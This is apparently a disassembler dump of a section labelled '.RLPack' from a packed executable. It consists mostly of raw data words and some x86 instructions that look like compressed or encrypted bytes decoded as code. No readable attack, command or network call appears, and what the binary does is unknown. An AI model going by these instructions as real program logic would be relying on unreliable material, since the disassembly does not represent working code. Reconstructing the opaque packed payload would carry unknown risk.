		dd 5AF9C8ECh, 0D98E200h, 55B304E7h, 0F81B00B0h,	82167A4h
		dd 0A07A315h, 63C2B479h, 8576C871h, 221AE4h, 0EE1D6533h
		dd 62E32455h, 0D5F9B600h, 6746B3A7h, 51D20340h,	0A158C13Dh
		dd 15CB22A0h, 0E349E401h, 3E6B8A91h, 2EEDDDF4h,	3047613h
		dd 5B9A9D2Bh, 0B25A65D0h, 94B1A100h, 26C26B07h,	0CC8E0067h
		dd 3BDDCB03h, 974CAF9Fh, 63F073ADh, 0CF64FD00h,	0A9589EF0h
		dd 0A8353EADh, 4A89BF00h, 0AAC10A2Eh, 9FF2E700h, 3FEF8C82h
		dd 0EB9D001Fh, 5B4DBDB3h, 0F700068Fh, 433B27FFh, 0FA6F0AFh
		dd 113F7832h, 93CE560h,	391C7A74h, 0F7C01C87h, 225D5EF6h
		dd 8DC403FCh, 0A9637C11h, 416176B8h, 5F753600h,	0F29FBD5Dh
		dd 71CF1FCBh, 40B7001Dh, 61B1F7E2h, 5B1E3577h, 9740E0FBh
		dd 0F0BCA959h, 0D54A00C8h, 2428AD52h, 76729F47h, 0DFD6AE00h
		dd 6DA3C6D7h, 62840083h, 21A4B718h, 780E5294h, 209719ADh
		dd 1DFD4569h, 0D04C0034h, 52980557h, 101F0AD6h,	4B87239Bh
		dd 0C20B7B0h, 980BBB8Dh, 367403h, 0ECC7FAC9h, 87D2FE52h
		dd 3E0DC400h, 0DA78751Ch, 0B90C07EEh, 0C0F62354h, 7F492508h
		dd 0C7CAD500h, 4CD0751Fh, 9597A8Ah, 9784CB43h, 7E74BB83h
		dd 3738D4E0h, 69E82B00h, 627D9B19h, 225800DBh, 76901ED9h
		dd 0DE006517h, 47989127h, 16754FD2h, 377C28Ah, 856F4DF8h
		dd 0DAE0ECD3h, 6E003CC9h, 7BD9B40Dh, 0A7C074h, 5AFF435Ch
		dd 930A0207h, 0B33998F4h, 6536835Eh, 0B8BAF004h, 0CD77B5h
		dd 0EA7FD6CBh, 0F86488C6h, 20624D01h, 0A89B4630h, 120F5920h
		dd 7277FCh, 841242C1h, 0AF006E5Ch, 0A681030Ah, 751310CBh
		dd 198700EDh, 0A2F88F2Dh, 0E042B6Eh, 0EC30DC3Ah, 5C1D02C0h
		dd 1EE701A7h, 0CA782D7Dh, 3105CC5Eh, 2EB3F000h,	29D7AC67h
		dd 0EAEF0040h, 75A6BAFBh, 0F0045F7h, 0C0C7349Eh, 35B61Bh
		dd 0E638200Dh, 62C1014Bh, 4CDA3203h, 0F07A39CAh, 9063D8A0h
		dd 0BAD00077h, 0A8E87809h, 42054EA2h, 0E1EEB37Bh, 0FFD7FAC0h
		dd 0ED00054h, 1D7F6668h, 207A8892h, 0C5E62403h,	0F0AD5864h
		dd 0E97C31h, 5742612Dh,	745CDE75h, 1CEC1600h, 0B5358EBEh
		dd 0AE9D3A53h, 2FABF180h, 0A576E1FBh, 56394D0Eh, 4EA18006h
		dd 122460C2h, 0AECE49A4h, 4C47CE00h, 9BC4BBh, 917D2AF3h
		dd 88C0C279h, 809F183Ah, 5B709672h, 123B512Fh, 0BC0C5D74h
		dd 8FC00F3h, 98EC4ADCh,	605A00F1h, 0BC6E636Ch, 18008CA4h
		dd 1D9A3D7Bh, 0C76D22h,	3E3A0876h, 7D6FB0EAh, 0E38BD800h
		dd 9D1021C5h, 82270F31h, 0E4A07B5Fh, 0D259F84Fh, 6F6FC07h
		dd 560058BAh, 1F9C74ECh, 0C24A3DE8h, 268C5DDAh,	0B84F240h
		dd 0E3FF4600h, 0B30FEAF0h, 35290089h, 33EEC6ADh, 0B79068A3h
		dd 216DF00h, 0C2D4AE6Fh, 11E8004Bh, 0BA7ACC6Dh,	0A80118B1h
		dd 4C598613h, 81EC41F4h, 7B940EF5h, 79E057B6h, 307EA2F7h
		dd 783DE200h, 0CC3CEFE4h, 0C9904Bh, 5461CDDEh, 0D0EE342Dh
		dd 89A38107h, 0C2D1F4A8h, 28C82FE0h, 2AE2E18h, 0AC4400A7h
		dd 4C988974h, 0BD022AEEh, 0B6529217h, 55C0E1A9h, 98865CF8h
		dd 7A210934h, 4401FF9Fh, 0E4BF4819h, 0D11F82A0h, 91C03731h
		dd 0EEE1D2F3h, 0A898003Ah, 57BAF606h, 0DE00271Fh, 59BB8BC3h
		dd 61A9C6h, 18C141BCh, 0B7CE2940h, 0EF003076h, 59D60B75h
		dd 0DC4E03h, 284AF8F3h,	547EC6DBh, 5959700h, 96DA1AEEh
		dd 0C1B2035Ch, 0BDC929B0h, 6C9867D8h, 2098B9FCh, 0DED84200h
		dd 0B132B8DBh, 1C2F7F3Ah, 0EB8B5Ah, 5F880D4Fh, 720080A1h
		dd 0C37A091Ah, 0F077BCh, 4965F338h, 0C2E9A4FBh,	9231B800h
		dd 0BFCC3E5Bh, 0BD090028h, 0F89019F0h, 0FAE85DA3h, 0C32E1600h
		dd 10B1D7B0h, 0D2CA036Eh, 0DE7F89F7h, 0B5D01980h, 0DBDF6B00h
		dd 736711D8h, 76407F6Eh, 0ADF9005Ch, 0BD684FA4h, 0A1017622h
		dd 0A7C841Eh, 72046ACh,	0E8BF0135h, 0AFA636F3h,	27A2C049h
		dd 55453800h, 0E39ED91Eh, 128E73F8h, 0EF2E07h, 0B42B0A7h
		dd 49073473h, 1999F727h, 0F5BD36E1h, 0EFDA90D7h, 4DD6005Ch
		dd 0A90BC648h, 90009C4Eh, 34663A50h, 3992693Eh,	3006DA0h
		dd 73AC97AAh, 0B400D581h, 0F69F1C58h, 9B4AE8h, 21DF476h
		dd 3F879CB1h, 371D1E7Fh, 5740FE71h, 68E348A6h, 5F761CA0h
		dd 0EF428061h, 499C91Ah, 55916E00h, 955BD4B9h, 3B3F8F4h
		dd 0EE1CA286h, 0EC98BE6Bh, 84F0DA5Dh, 9CE51F00h, 0A10555E0h
		dd 0DD3500EDh, 28D0646Eh, 0D3003FC4h, 0F7C53B01h, 15E595Ch
		dd 0BA18FDD1h, 7B2434F3h, 2C7AB0C0h, 93230094h,	6C79A5F6h
		dd 6E0057D4h, 0AA60A3D6h, 0FF72C635h, 23C0D0h, 22AE247Eh
		dd 6CEFFDCh, 0C7E15Ch, 69A10301h, 1FC6E248h, 0C3A5587Dh
		dd 90BAD7CCh, 0DB0A8890h, 695DDD00h, 3E1F12BBh,	0B27EB5h
		dd 486D838h, 5A529DC4h,	0D0A38h, 0CE8FC03Dh, 4DE67Dh, 335F3E6Ch
		dd 878B9892h, 5357C500h, 0DD195230h, 0A14B0022h, 367DF35Ah
		dd 6F00F6D3h, 5078BC9Ch, 76172BBh, 0D26016Bh, 6300793Dh
		dd 290CA9F0h, 5688D601h, 0D21D048Eh, 37535D8h, 8FF3D982h
		dd 0FD90296Fh, 0F703C898h, 0ED5A14F9h, 809AC3E7h, 0F9F8Ah
		dd 5D32D76Fh, 7283CC6Bh, 96246700h, 14173151h, 0A35707DAh
		dd 0F020F7C4h, 109BB9E4h, 0BE727A1Eh, 0D1D30EC0h, 3103653Ah
		dd 143AE83Bh, 8B60F4A8h, 0C6FD0700h, 0F4F26E86h, 19572481h
		dd 0EEA700D8h, 1B1DB001h, 9FCA7B00h, 0A5382859h, 9DFC00D4h
		dd 94771A3Eh, 1B38729Eh, 7B0FF5FFh, 807A0E34h, 0F681C8C0h
		dd 0C57D07B0h, 0B0F2379Ch, 495F2461h, 7C643800h, 0E90993EAh
		dd 369A008Ah, 0C4C0F0CCh, 0DF005FECh, 0D441E3B9h, 2FDE2E5h
		dd 0F6126D3h, 0B540282Eh, 3BEE20A0h, 0A8112903h, 0F85CCF32h
		dd 1FAEB777h, 409BD183h, 70185222h, 9D1D3DD0h, 0FA80EC69h
		dd 25C4E3E4h, 0FEAF417h, 0B29C8FA4h, 8505407Eh,	0A10E82D9h
		dd 0F07EAD00h, 0D853709Fh, 0A7EAAFh, 330FC0B6h,	276695FDh
		dd 0A8B2E600h, 0BB516D16h, 170A00DEh, 361EC777h, 0A400D92Ch
		dd 0D659855Eh, 6C6A7Eh,	874CB750h, 0F8B12F28h, 2AFF707h
		dd 3D203311h, 730F973h,	6E3E41B8h, 94E3C092h, 18273F56h
		dd 35A28008h, 7FC3BB80h, 934700F3h, 0D8A66F05h,	65015892h
		dd 128F8922h, 0ECECBFB5h, 2377008Dh, 880B61C3h,	920E8CA9h
		dd 4396C9DFh, 0F09828AFh, 0DE7659h, 3F61E007h, 2491BBD5h
		dd 9ED8111Ch, 589CE8C0h, 10DC227h, 0FEA2367Eh, 0E01AC02Ch
		dd 0B600A819h, 0B59DE396h, 1C0146h, 6139E6E1h, 0E9FA6373h
		dd 8641CA0Bh, 0A3F50F1Eh, 0A059A524h, 0B64555h,	0E29F1404h
		dd 0AB5ED2F2h, 27011F00h, 0AFFA8E41h, 3B420009h, 0CAA79D86h
		dd 0D700F116h, 5D21EB93h, 0B18DE54h, 33E738DBh,	2ACF01DFh
		dd 0DAE81FF3h, 1DF077F2h, 4020C4CDh, 8D09BDF9h,	1F7379B8h
		dd 9D4C6407h, 21452B4Ah, 0E19F7180h, 0D6C10017h, 0B46FDB2Fh
		dd 0C603065Dh, 0F88A8092h, 40EFF0C2h, 31FF4C63h, 32885700h
		dd 0C509FC8h, 0C0A23D00h, 4BF15C28h, 53FD0041h,	0E64714A6h
		dd 5400270Eh, 1519FCB5h, 0F7DD2Dh, 6C43C039h, 5A9B95BEh
		dd 988ED200h, 0A3E4E65Bh, 7BCE00F4h, 3C1055F9h,	8D0075E2h
		dd 5059ADC1h, 43F5D8h, 0E9526202h, 0DC9F0BF6h, 4DD45100h
		dd 253FB4D6h, 67B81F1Ch, 5698070Dh, 82B567E9h, 740D2CEh
		dd 0FE00255Eh
		dd 2978D052h, 27AFF0h, 2D8266D1h, 0CC1C88DAh, 80FD643Fh
		dd 0B2811279h, 7B1F0542h, 0D8E71C8Eh, 83A4400Bh, 7790ECF1h
		dd 2680D600h, 6E1E9E2Eh, 3DC0166h, 0A00C3CCEh, 0C525D8B4h
		dd 80064C39h, 0E05E7E49h, 5066E2h, 8A33650Bh, 0FDC6B4DFh
		dd 0CFDD7C00h, 5E96AD06h, 6EA20548h, 0C08F6657h, 60411E1Ch
		dd 0F8368100h, 29467D75h, 2FF93D95h, 4C45FA80h,	0B491AF41h
		dd 0AB0F0900h, 0E08CD857h, 163800D0h, 85C20292h, 0D77C82A3h
		dd 0DDAF0500h, 920405Ah, 0C8C84874h, 0B7E17A0Eh, 63B1C47Eh
		dd 8462C072h, 0B858E782h, 80D43C48h, 1D4F2E29h,	0F659DFAh
		dd 53CB928h, 0DABAEE20h, 9E00B353h, 0FABD3BBBh,	2E42C295h
		dd 37C5AFh, 0A768C67Eh,	2000E43Ah, 1F41ED2h, 481467h, 0F53BE565h
		dd 95A77503h, 34BEEA00h, 8DD6011h, 39E4C25Ch, 3C427F93h
		dd 8DF7EE80h, 0C07BED0h, 0EE5B6CA6h, 2103FFC0h,	0BC3E002Dh
		dd 45C96470h, 61007E95h, 1B066EE8h, 5EC50Bh, 0C12E3730h
		dd 0B6C39A3Dh, 0C9C85901h, 47FC4BA6h, 1E04BDE4h, 0C046984Dh
		dd 9E6A0E88h, 733CA627h, 2C7787EFh, 6080694Eh, 0CBFCB7h
		dd 2A0785E6h, 7AE838E2h, 0CA8A3Ch, 0C33ECE84h, 0A4606Dh
		dd 0C90E9344h, 0FCB3CF52h, 54D57401h, 0C7E0C2C5h, 0E13719F0h
		dd 2E99FCh, 0FF9B87DAh,	67777308h, 58F92605h, 8EC07495h
		dd 1384A16Dh, 0F7CACF0h, 0D420FB6Ch, 0D5BD1226h, 9CF42700h
		dd 0BF9BA808h, 0EC1D005Ah, 81A64583h, 1800851Eh, 0CB1FD2A4h
		dd 370589h, 32B8B986h, 0E01E5D6h, 432A8C00h, 84A4AAB0h
		dd 0D01300F9h, 93651A21h, 4B00490Dh, 51DFE244h,	0D803AAh
		dd 4D6DCEACh, 4C7205C4h, 8E773Dh, 671F5581h, 5C2548F8h
		dd 84006866h, 0C0852DB9h, 10722F83h, 376C911Dh,	1B438147h
		dd 0C0C1ACD3h, 38CEDC8Dh, 0D0809F4Ah, 9E75642Eh, 0C5005DE9h
		dd 39A81D73h, 607CB34Dh, 0A6DD9445h, 0CA5CCD3Fh, 0AF720052h
		dd 77E687B1h, 0C25303B6h, 0E207518Eh, 9001D9B0h, 0DD77D00h
		dd 0A52A6B5Bh, 699C00ECh, 2FEF8551h, 0B1039904h, 1B4224AEh
		dd 18C0E588h, 1C11870Eh, 40B4B7BEh, 0C6382F93h,	160061E4h
		dd 0B586EFE3h, 3039C24h, 325542B8h, 0C48850B2h,	413DF970h
		dd 0C075802Ch, 0B1C22E09h, 0D95F0BB6h, 9C801FFEh, 0D03281FBh
		dd 3BC77A00h, 0DEE6ABFh, 57580043h, 24BF5F2h, 0F12F8A66h
		dd 0E42B581Bh, 0D9EC004Eh, 8554E179h, 19005EE0h, 0A6FF0676h
		dd 87A7B1h, 102D51F0h, 0A4DA0A4Dh, 200ED77h, 0EFF1AA16h
		dd 222CF4h, 0E421072Ah,	0C8B5C45Fh, 9A51907h, 0F5579647h
		dd 742432F0h, 4990092h,	74B3E86h, 0F71E6F06h, 154F5E89h
		dd 0AAEF8017h, 179DE1Dh, 0AC96083Ah, 0C46B3C6Dh, 0F3032FBBh
		dd 4C160185h, 0DD3090FEh, 7BFB07C4h, 509F604Eh,	1644752Fh
		dd 8F404A03h, 0EB07CBE4h, 50A380CCh, 0E8323BF3h, 812BE59Dh
		dd 0A94868BDh, 135EDCADh, 32FF8300h, 5A0F856Ah,	7A3C026Fh
		dd 36F2842Ch, 9883B5C0h, 21CFA11Eh, 295A2540h, 20DFC8h
		dd 3EC6375h, 0F4BF4A2Bh, 0ACBACA17h, 0D7055313h, 8881D07Fh
		dd 2CD004EBh, 0F35C00A8h, 6A378F7Ch, 9B00DFC5h,	0D08EE556h
		dd 0F55D9E4h, 67DCC30Bh, 0D1945D40h, 30F9591Bh,	0EB0014C1h
		dd 4534715Ch, 0E91D15h,	32EC11BEh, 52B7093Dh, 63392400h
		dd 60ACF33Fh, 34EA0089h, 628F3153h, 9400DA8Ch, 0DCCA779Fh
		dd 26856166h, 32A555Ah,	0AF5EE888h, 1B10BC00h, 19A65463h
		dd 9D0D3C47h, 374F4B00h, 0EE6EBBBFh, 41F23Dh, 507E58Fh
		dd 0FAF326h, 0DC184B7Fh, 4089BC4Ch, 22D8CE00h, 1B28981Eh
		dd 0DAEA00D9h, 0C60CC3F4h, 0BD796016h, 9A00CEF6h, 5DEB44B1h
		dd 18A4768Ah, 0FC94E0ACh, 2807973Ah, 2235E6F3h,	494C2C00h
		dd 0DCC000E4h, 250DE714h, 770EEEBDh, 6FAA3C93h,	4DA963C1h
		dd 4601E085h, 3B0F13F2h, 21CFA5Eh, 0F51B6DC7h, 5A2A9DA0h
		dd 0F9F400D5h, 142B173Ch, 7A00B9C2h, 90365865h,	41834C9h
		dd 6734347h, 0F103EADFh, 0C1E4CC23h, 8B70197Eh,	57AD1E27h
		dd 68A680AFh, 9803708Eh, 4A9F2900h, 25933CC9h, 0C49D1CF7h
		dd 7F2A808Fh, 0BE1AFCFh, 3F83D700h, 9E6D2BFDh, 36BE00F0h
		dd 94C43D60h, 560F8FB7h, 0CF8361B8h, 0CF4FFEE7h, 0D851403Eh
		dd 0B1AB37h, 0CEA4D9AAh, 790446DDh, 0E6EF8B00h,	1BB5AE08h
		dd 8356007Ah, 3F317C0Fh, 7F00CFB0h, 0CA61482Fh,	0FC2A24B7h
		dd 0BC795Bh, 41B9EC81h,	0A7CC0A18h, 0BAFFC700h,	3A7F0E99h
		dd 0E0130343h, 96BF8722h, 605DCC91h, 7E7182B2h,	231D0707h
		dd 6DE0190Fh, 2EFFB6F9h, 0C643E5h, 0CE877C80h, 91002EDBh
		dd 1C81746Bh, 1CAD83Fh,	0B1FA17E2h, 708B80D4h, 220078B3h
		dd 3B5104F8h, 0D23EA3h,	0E1675C14h, 5916622Bh, 0CB8AC503h
		dd 0B1358BADh, 8A307032h, 0EFB000F7h, 3A7B162Ch, 0ED48BF62h
		dd 0B619007Fh, 5BEA29Eh, 3CE90FA4h, 0CC80211Ah,	59BD0CE2h
		dd 0A5C44C00h, 5314BCD3h, 0A4150F10h, 0C3E1A2FCh, 0EFFE5180h
		dd 30BBF8E8h, 99553A00h, 0A5B2CC3Ch, 0B52A1FD5h, 66530029h
		dd 7FC36ACFh, 0A198F6FEh, 19A98000h, 0B5E412E3h, 564C00EFh
		dd 0BEE6DC9Dh, 3300E5D2h, 66318AFCh, 3B11BBFFh,	4C0042F7h
		dd 0B162194Ah, 0C90060CBh, 1404AF03h, 0DC1D84h,	8C7243B8h
		dd 2596A4F6h, 2E343100h, 0B1DD57EAh, 0C51000ECh, 89B4C41Fh
		dd 0C7006846h, 4A87BEEFh, 71416Ah, 6E70F22Dh, 8830C3D8h
		dd 0EA2B2707h, 406026B8h, 502267h, 0C26D9D8Ah, 0F7C064ACh
		dd 485CD7ECh, 5992005Ah, 0BA144FDh, 0DC150E2Bh,	31E02702h
		dd 681364F8h, 8C527D00h, 363A4FB2h, 1A9E00A3h, 58F16A2Fh
		dd 0BD005C27h, 19DAE4FEh, 527165h, 869F6E94h, 9B1598CCh
		dd 0F835833Fh, 0FE474D00h, 0F12E07E1h, 308939E9h, 6AF1100h
		dd 5272A7FCh, 25B1C900h, 825BB0B7h, 53910239h, 49C3BCCDh
		dd 6D79A981h, 69B26015h, 33CEF700h, 7626E4A7h, 812300ABh
		dd 0C4F65079h, 2100B7ECh, 457B4ACDh, 0FAAA78E8h, 0B925017Fh
		dd 8B386E92h, 58FF300Fh, 5A51BE01h, 3D5336A5h, 4C4C6F8h
		dd 1EB72B26h, 8F8AC090h, 0B4CAE09h, 1E900B4h, 0A998F23Fh
		dd 3A470049h, 377B32EDh, 6D000503h, 0A1094584h,	1F3DDB2Fh
		dd 41B52CF0h, 0D20B4F31h, 0F42B70BBh, 77ADC700h, 2F975A69h
		dd 99F2D4h, 2618DB38h, 0D50BD8FFh, 9ACA6F00h, 0E4720346h
		dd 45143C08h, 7C019380h, 0FB3DEEF1h, 1300EDFEh,	0A59205D3h
		dd 1E6BCB15h, 4037C9ABh, 0DAA4F50Dh, 8C0BE602h,	804BAE0Bh
		dd 7E514371h, 0FA969016h, 4CF40E7Ch, 98816C5Bh,	0F4F89957h
		dd 0D40070B2h, 31B3E0FAh, 15114CCh, 7DF91091h, 20E9D346h
		dd 860FAE23h, 2DE0AFh, 3B875E03h, 0A1BD00F4h, 9BDCEC28h
		dd 4A7AE70Bh, 77FC6E00h, 0F126DD3Ch, 4FCF00E0h,	0C8F05521h
		dd 0D600A4BFh, 0D4E8510Bh, 70F17A49h, 0D2B72647h, 1FA0368h
		dd 0AD8892D8h, 357FD41Eh, 0C067D100h, 7609689Bh, 9C410078h
		dd 6E8A23E6h, 540085ECh, 22EFF517h, 4FDF80h, 4691767Bh
		dd 259814CDh, 0A0093C00h, 9F63FEC9h, 0B372D9h, 7D5AE24Dh
		dd 0D327A285h, 0F44CAD03h, 0F804B56Fh, 0E6BC78h, 358F1AD6h
		dd 10FE6B19h, 0E90D921Eh, 4403015Eh, 0E8A32D70h, 76BA4Ah
		dd 0FEDF0C2Ah, 2951E4ACh, 31B7A000h, 0D09C47FDh, 0E8660162h
		dd 63FF9AC8h, 0A255D4F5h, 0B9124300h, 2C9908B4h, 665C00CDh
		dd 903BFBC0h
		dd 90151C1h, 1CAFAE3Eh,	0B3DCB90Bh, 23DA0048h, 30E3EE32h
		dd 0AC00151Eh, 0B59A1351h, 9B198h, 7D3D4C41h, 6ADB0F40h
		dd 0B2E56200h, 6DB82EE7h, 256600FAh, 0BFB47E4Bh, 0E0022CEh
		dd 0FED7357Ah, 0E94C958h, 0DBFF0A31h, 36CBE720h, 8701E4BDh
		dd 0DA1E3FD0h, 95C4EBC0h, 0C9CF007Bh, 0FA55E1A9h, 62000407h
		dd 94B4F739h, 3E1C14h, 0AD11DA3Fh, 0F6C07BCEh, 0AA0107E8h
		dd 0A674CB28h, 0E4CC6422h, 2F52019Eh, 57A5E2A3h, 0D9CDFC58h
		dd 2D1CFF71h, 308F68h, 0
		dd 0AF127000h, 6854E001h, 201C7369h, 6C5D7061h,	749E63DDh
		dd 8F6E6FCFh, 0FF20BB77h, 656BA3BFh, 69160D64h,	9C386874h
		dd 72DF5526h, 0EF4E679Bh, 762BF95Eh, 28510CBDh,	0F1EF66CDh
		dd 24BE5058h, 2ED4FBFEh, 0A466F0Ah, 6A9F25F4h, 882C6747h
		dd 0CF94FD6Ch, 8C265E6Dh, 2E0294B0h, 54CF6763h,	616C6366h
		dd 72B7BF62h, 6E49079Eh, 8280D4CFh, 9602B0E0h, 0B1C4338Ch
		dd 9220C18h, 66018C04h,	213019E0h, 38F1018Fh, 9468999h
		dd 24641256h, 91884876h, 60AE299Ch, 1FD1D29Ah, 5E647C01h
		dd 27008006h, 2E08919h,	9EF3C800h, 0B11BBE83h, 224100B6h
		dd 54562378h, 7124BA0Dh, 68008094h, 0FC301F0Eh,	7A15009Eh
		dd 0F3FE091h, 400FD7Fh,	9B8DD53h, 0FC800888h, 38FBE094h
		dd 0D00090EDh, 6DC26387h, 5D00AEBBh, 1EA6E26h, 38CBC360h
		dd 1B07A698h, 0C2027Eh,	6ED329ADh, 0EE3B3C00h, 24B57164h
		dd 715EA8Dh, 50DDABF3h,	6008C7D5h, 8C3C59DBh, 93384D1Eh
		dd 0E4A91640h, 30AF39h,	10B65FF4h, 0B311D5Eh, 8B415207h
		dd 9D101E0Ah, 0CDCF7Fh,	0D7C20320h, 0E6E0B676h,	7B42C53Eh
		dd 0B1DCB00h, 282B4A22h, 3021079Bh, 0C1858968h,	0C43D40AEh
		dd 0B24C4742h, 0C5120031h, 0EBB862A7h, 67AB264Eh, 7A803934h
		dd 0FA268BC8h, 91001D60h, 6F1FC03Eh, 3F9D4971h,	0FB003AAEh
		dd 895839C5h, 7032BADh,	9F2A0E65h, 8A70B8C1h, 0B35F1C03h
		dd 668E41B4h, 0C876673Dh, 0A1079074h, 0D1E243C2h, 5B2AE100h
		dd 0F3070006h
		db 0A7h, 21h
; ---------------------------------------------------------------------------


loc_4392B2:				; CODE XREF: .RLPack:004392DDj
		pand	mm7, qword ptr [ecx]
		scasb
; ---------------------------------------------------------------------------
		dw 370Fh
		dd 0A0177B53h, 59FB5D64h, 0AB9900C8h, 84E455FDh
		db 81h
; ---------------------------------------------------------------------------


loc_4392C9:				; CODE XREF: .RLPack:004392FAj
		cmpsd
		add	dh, dl
		rol	edx, cl


loc_4392CE:				; CODE XREF: .RLPack:0043934Cj
		call	far ptr	8B07h:7FAEFBC1h
		lea	esp, [ebx-252E06EFh]
		and	al, 39h
		loopne	loc_4392B2
		fisttp	dword ptr [edi]
		mov	ds:5EFC01h, al
		inc	ebx
		xor	[esi], ecx
		push	55h
		add	[ecx-5C27D719h], dh
		lodsb
		cli
		sbb	dh, dh
		loopne	$+2
		movsb
		mov	ch, 94h
		jmp	short loc_4392C9
; ---------------------------------------------------------------------------
		dd 824E2h, 1A6644Eh, 59257F54h,	7BD12D00h, 0A8E0415h, 0A55D00E2h
		dd 0E5483BBDh, 0FF16BC7Ch, 41015B38h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		or	ecx, 14h
		aam	45h
		or	[ecx], cl
		push	ebx
		push	esi
		push	edi
		mov	al, [eax]
		xor	bh, cl
		loope	loc_4393A6
		pop	edi
		xor	[ebx], dh
		fisttp	dword ptr [esi]
		sub	eax, 0FC015D89h
		jb	short near ptr loc_439351+1
		movzx	eax, cl		; CODE XREF: .RLPack:00439348j
		push	0FFFFFFEBh
		clc
		rcr	byte ptr [esi-9], cl
		jg	short near ptr loc_43933F+1
		jg	short loc_439391
		jl	short loc_4392CE ; CODE	XREF: .RLPack:loc_439351j
		or	al, 0D3h
		dec	eax


loc_439351:				; CODE XREF: .RLPack:0043933Dj
		jnz	short near ptr loc_43934C+1
		or	ss:[eax], ebp
		jb	short loc_43936A
		sbb	bh, ch
		or	al, 8Bh
		outsb
		fsubr	dword ptr [esi]	; CODE XREF: .RLPack:00439373j
		shl	dword ptr [ebx+24h], 1
		icebp
		mov	eax, 870383h
		push	4


loc_43936A:				; CODE XREF: .RLPack:00439356j
		lea	ecx, [eax+edi]
		push	ds
		push	0D3141031h
		loopne	near ptr loc_43935D+1
		mov	esp, 0C70E6CC0h
		adc	dl, [edi+6Ah]
		add	bh, bh
		adc	eax, 4270B110h
		xor	[ebp+75F48CC0h], al
		add	eax, 580001FEh
		jmp	short loc_4393EE
; ---------------------------------------------------------------------------


loc_439391:				; CODE XREF: .RLPack:0043934Aj
		lea	ecx, [ebp-8]
		push	ecx
		mov	ebp, eax
		or	al, 0F8h
		call	dword ptr [ecx-7Dh]
		retf	75D0h
; ---------------------------------------------------------------------------
		db 10h
		db 0CCh
		db 19h,	8, 14h
		db 5, 0EFh
; ---------------------------------------------------------------------------


loc_4393A6:				; CODE XREF: .RLPack:00439331j
		xchg	eax, ebp
		push	ss
		cld
		mov	[esi], al
		push	eax
		call	near ptr 0FB39E55h
		add	esp, 28h
		mov	ebp, edx
		clc
		lea	edi, [edx]
		hlt
; ---------------------------------------------------------------------------
		dw 6848h
		dd 38538CFBh, 0C90C8F4h, 0F0458D85h, 50EC9E06h,	5A08D90Eh
		dd 821AB6C7h, 0E888C203h, 35880662h, 5FC700CCh,	0C3C95B5Eh
		dd 4300DEEh, 2CB858B0h
; ---------------------------------------------------------------------------
		mov	ah, 0C3h


loc_4393EE:				; CODE XREF: .RLPack:0043938Fj
		or	ch, [ebx]
		inc	ecx
		push	eax
		std
		dec	esp
		call	near ptr 0D845F47Ah
		xchg	eax, ecx
		rol	byte ptr [ebx-22FC85Bh], 64h
		add	ebx, esi
		jmp	short loc_439411
; ---------------------------------------------------------------------------
		db 62h,	0E2h, 7
		dd 312E762Dh, 764C3527h
		db 7Dh
; ---------------------------------------------------------------------------


loc_439411:				; CODE XREF: .RLPack:00439403j
		inc	byte ptr [ecx]
		and	al, 75h
		or	cl, [edx]
		mov	word ptr [ebx+1EEB7314h], fs
		add	al, 83h
		db	65h
		test	al, 14h
		loopne	loc_439499
		jp	short near ptr loc_43943A+3


loc_439426:				; CODE XREF: .RLPack:00439497j
		aaa
		cmp	eax, 74032518h
		push	cs
		and	[edx], edx
		adc	al, 87h		; CODE XREF: .RLPack:0043948Aj
		add	eax, 0D93DF4E9h
		stc
		or	al, 4Ch
		push	cs


loc_43943A:				; CODE XREF: .RLPack:00439424j
		or	dword ptr [ecx+111DEC7h], 0E1A1AB34h
		mov	edi, 0A3055013h
		inc	ebp
		add	al, 0FEh
		adc	[ebx-6DB39F88h], al
		adc	al, 6Ah
		adc	[eax+6Eh], ch
		pushf
		sbb	ebp, [ebp+16480B24h]
		xor	[eax-4157AC18h], cl
		mov	ds:417A108h, eax
		test	[ebp-73h], edi
		test	esi, eax
		dec	edx
		pushf
		push	eax
		rcr	byte ptr [ecx],	1
		or	[esi], bh
		sub	[eax], dl
		lea	eax, [ebp+eax+623EF69h]
		pop	edi
		fmul	qword ptr ds:0F188B43h
		mov	esi, 775CF89Eh
		jz	short near ptr loc_43942F+1
		push	cs
		push	edx
		dec	eax
		sbb	edx, [ebx+ebp*8]
		jecxz	short near ptr loc_4394A2+1
		mov	al, [eax+2Ah]
		jno	short loc_439426


loc_439499:				; CODE XREF: .RLPack:00439422j
		mov	byte ptr [ebx+21C12B4Dh], 28h
		mov	ah, 3Fh


loc_4394A2:				; CODE XREF: .RLPack:00439492j
		test	byte ptr [edx+eax*2-42E6844Bh],	0FCh
; ---------------------------------------------------------------------------
		dw 25FEh
		dd 2E9C4C1h, 87A5F33Bh,	3E183C8h, 26EAA477h, 51D809Eh
		dd 0B70837B4h, 0B872B208h, 94064DA8h, 301120Dh,	8D893C48h
		dd 0D71FA3D8h, 0F026C9Ch, 44013284h, 88F6A6F9h,	4870FF16h
		dd 82A6F438h, 0A676C043h, 83C844C4h, 4506BD51h,	0AE36050Dh
		dd 8B303104h, 85A88840h, 683152D4h, 0B50E4844h,	80B26DA3h
		dd 0C084026Bh, 3C76F772h, 80CA0328h, 0B5C8E845h, 0DA32ACC8h
		dd 140E1CE1h, 3612E8Ah,	0DEB0CC4h, 0DD0E424h, 8725F5CEh
		dd 78E2B70Fh, 7D0FA239h, 6B1E906Dh, 25184DC0h, 18CC69Fh
		dd 54FBBF84h, 151C2852h, 8E3D5386h, 8802BC0Dh, 91304A45h
		dd 8295A246h, 0A594033Fh, 0D45894Ch, 0A85275E9h, 1049BE35h
		dd 4C0412B5h, 25E924C2h, 79EDA132h, 5B40E12Bh, 493F90F5h
		dd 0F9E0D1BAh, 0D1C68DE8h, 83F09E71h, 24E5017Ch, 1AA5A7ABh
		dd 0B236BC65h, 8A86213Ah, 0A0058872h, 8810D568h, 842278B4h
		dd 0C1A2F1ACh, 959E1C15h, 80C413A4h, 1BB73935h,	0B4557B28h
		dd 69C55C44h, 0E91FFB43h, 0F9122618h, 0BC05205Ch, 6093DAAh
		dd 490C7B04h, 0C84914F3h, 0E4965C1Eh, 10CC4232h, 14E4406Ah
		dd 19BCA2C9h, 6D162474h, 0CE4C591h, 24FEF405h, 1506448Eh
		dd 0C4ABCC20h, 0B49F438Ah, 86A1630h, 1FB1C2E5h,	49C70A1Ch
		dd 261B9A8Bh, 0A4A9C933h, 83D04E98h, 3300C97Dh,	0F7AEF2C0h
		dd 0FBF92BD1h, 0A22D63D6h, 202F6DFAh, 0FC9C8051h, 52178AFEh
		dd 9C081026h, 0C4A62301h, 0F1E40A10h, 4A993871h, 63E4160Eh
